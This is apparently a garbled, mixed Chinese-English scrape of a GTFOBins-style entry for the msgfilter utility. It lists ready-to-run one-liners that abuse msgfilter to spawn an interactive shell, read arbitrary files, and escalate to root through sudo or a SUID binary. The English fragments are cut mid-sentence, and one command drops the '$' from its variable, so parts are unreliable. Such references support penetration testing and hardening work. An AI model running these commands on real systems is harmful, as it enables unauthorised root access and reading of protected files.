用来生成一个交互式的系统shell。
-i
). kill
is needed to spawn the shell only once. echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
从文件中读取数据。
.properties
file, so this may not be suitable to read arbitrary binary data. /bin/cat
can be replaced with any other *filter* program. LFILE=要读取的文件路径
msgfilter -P -i "LFILE" /bin/cat
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
-i
). kill
is needed to spawn the shell only once. echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
-i
). kill
is needed to spawn the shell only once. echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'